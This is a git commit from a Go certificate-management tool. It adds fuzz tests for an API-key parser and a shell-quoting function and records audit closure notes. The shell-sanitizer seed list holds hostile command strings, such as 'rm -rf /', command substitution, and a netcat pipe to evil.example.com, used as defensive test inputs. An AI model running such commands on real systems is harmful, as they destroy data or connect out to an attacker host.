Bundle O (Coverage Audit Closure): test hygiene + FSM coverage tables — M-004 + M-005 + M-006 closed

Three deliverables shipped:

  O.1 (M-004): t.Skip rationale audit — 65 sites, 0 orphans

  O.2 (M-005): fuzz targets 9 -> 11 (+ParseNamedAPIKeys, +SanitizeForShell)

  O.3 (M-006): FSM coverage tables (5 FSMs catalogued)

O.1 — t.Skip rationale audit:

  Inventoried all 65 t.Skip sites in the repo (audit-time estimate

  was 41; count grew via Bundle 0.7 keymem tests + Bundle M.Cloud

  httptest skips). Every site carries a valid rationale —

  none are orphan. Categories: OS-specific (~30), root-only (~5),

  external-dep (Docker/PostgreSQL/browser/Vault/DigiCert ~15),

  manual-test markers (Parts 23/24/55/56 — 4 from Bundle I),

  -short mode (~6), state-dependent (~5). All class (a) per Bundle

  O's classification. No edits required; the existing M-009 CI guard

  catches new orphan skips going forward.

O.2 — Fuzz target additions:

  internal/config/config_fuzz_test.go::FuzzParseNamedAPIKeys

    Pins the CERTCTL_API_KEYS_NAMED env-var parser (dual-key

    rotation, Bundle G / L-004). 16 seed inputs covering happy-path,

    rotation pair, degenerate, whitespace-padded, wrong-case admin,

    4-segment, adversarial chars in name, long inputs.

  internal/validation/command_fuzz_test.go::FuzzSanitizeForShell

    Appended to existing fuzz file. Asserts no panic + output begins+

    ends with single-quote. 17 seed inputs covering plain, whitespace,

    embedded quotes/backticks/dollars, newlines, NULs, shell-metachar

    injection, unicode, 100x apostrophe stress, 10000x length stress.

  Total fuzz-target count: 9 -> 11 (per grep verification)

O.3 — FSM coverage tables (NEW: tables/fsm-coverage.md):

  Job:           legal 92%, illegal 100%   ✓ Existential gate

  Certificate:   legal 93%, illegal 100%   ✓ Existential gate

  Agent:         legal 75%, illegal 100%   △ slight Degraded gap

  Notification:  legal 86%, illegal 100%   ✓

  Health-check:  legal 100% (recompute-on-tick model)   ✓

  4/5 FSMs meet the ≥80% legal + 100% illegal gate.

  Agent's Degraded transitions are the lone gap; tracked as

  M-006-extended.

Verification:

  go vet ./internal/config/... ./internal/validation/...   clean

  go test -short -count=1                                  PASS

  grep -rE 'func Fuzz[A-Z]' --include='*_test.go' internal/ | wc -l == 11

Audit deliverables:

  gap-backlog.md: M-004 + M-005 + M-006 strikethroughs + Bundle O

    closure-log entry covering all 3 sub-deliverables

  closure-plan.md: Bundle O [x] closed

  tables/fsm-coverage.md: NEW (5 FSMs catalogued)

  CHANGELOG.md: [unreleased] Bundle O entry
This commit is contained in:
shankar0123
2026-04-27 18:06:06 +00:00
parent 86643cc4af
commit 92afe359e9
3 changed files with 151 additions and 1 deletions
+57
View File
@@ -0,0 +1,57 @@
package config
// Bundle O.2 (Coverage Audit Closure) — fuzz target for ParseNamedAPIKeys.
//
// ParseNamedAPIKeys is a hand-rolled parser for the
// CERTCTL_API_KEYS_NAMED env-var format ("name:key:admin,name2:key2").
// Hand-rolled parsers without fuzz coverage are a routine source of
// silent crashes — bundle O adds a target that pins "no panic on any
// input" + "either valid result or error".
import "testing"
func FuzzParseNamedAPIKeys(f *testing.F) {
// Seed corpus covers the documented happy paths plus boundary cases:
// - simple name:key
// - name:key:admin (admin flag)
// - dual-key rotation (same name, two keys)
// - empty
// - ":" / "name:" / ":key" (degenerate)
// - whitespace
// - admin flag spelling variants
// - extra colons (4-segment input)
seeds := []string{
"alice:KEY1:admin",
"alice:OLD:admin,alice:NEW:admin",
"alice:OLD,alice:NEW",
"",
":",
"name:",
":key",
" alice : KEY1 : admin ",
"alice:KEY1:Admin", // wrong-case admin (rejected)
"alice:KEY1:not-admin", // wrong word (rejected)
"a:b:c:d", // 4 segments (rejected)
"alice:KEY1,bob:KEY2,charlie:KEY3:admin",
// Adversarial: name with characters that should be rejected
"al/ice:KEY1",
"al ice:KEY1",
"alice@host:KEY1",
// Long input
"verylongkeynameabcdefghijklmnopqrstuvwxyz1234567890:long-key-value-1234567890abcdef:admin",
}
for _, s := range seeds {
f.Add(s)
}
f.Fuzz(func(t *testing.T, input string) {
// Invariant: must not panic. Either returns a valid []NamedAPIKey
// or an error. The function is allowed to produce an empty result
// for whitespace-only or comma-only inputs.
defer func() {
if r := recover(); r != nil {
t.Fatalf("panic on input %q: %v", input, r)
}
}()
_, _ = ParseNamedAPIKeys(input)
})
}
+51 -1
View File
@@ -1,6 +1,9 @@
package validation
import "testing"
import (
"strings"
"testing"
)
func FuzzValidateShellCommand(f *testing.F) {
f.Add("nginx -s reload")
@@ -57,3 +60,50 @@ func FuzzValidateACMEToken(f *testing.F) {
_ = ValidateACMEToken(token)
})
}
// FuzzSanitizeForShell pins SanitizeForShell's "no panic + output is
// shell-safe" invariant. The function wraps input in POSIX single-quotes
// with escapes for embedded `'`. Bundle O.2 adds this target so any
// adversarial unicode / NUL / control-byte / shell-metachar input is
// regression-tested against the wrap contract.
func FuzzSanitizeForShell(f *testing.F) {
seeds := []string{
"",
"plain",
"with space",
"with'apostrophe",
"with\"double-quote",
"with$dollar",
"with`backtick`",
"with\nnewline",
"with\ttab",
"with\x00nul",
"; rm -rf /",
"$(whoami)",
"`whoami`",
"|nc evil.example.com 1234",
"unicode: 你好世界",
strings.Repeat("'", 100),
strings.Repeat("a", 10000),
}
for _, s := range seeds {
f.Add(s)
}
f.Fuzz(func(t *testing.T, input string) {
defer func() {
if r := recover(); r != nil {
t.Fatalf("panic on input %q: %v", input, r)
}
}()
out := SanitizeForShell(input)
// Invariants:
// 1. Output is non-empty (always at least the surrounding quotes)
// 2. Output starts and ends with a single quote
if len(out) < 2 {
t.Fatalf("output %q too short for input %q", out, input)
}
if out[0] != '\'' || out[len(out)-1] != '\'' {
t.Fatalf("output %q does not begin+end with single-quote for input %q", out, input)
}
})
}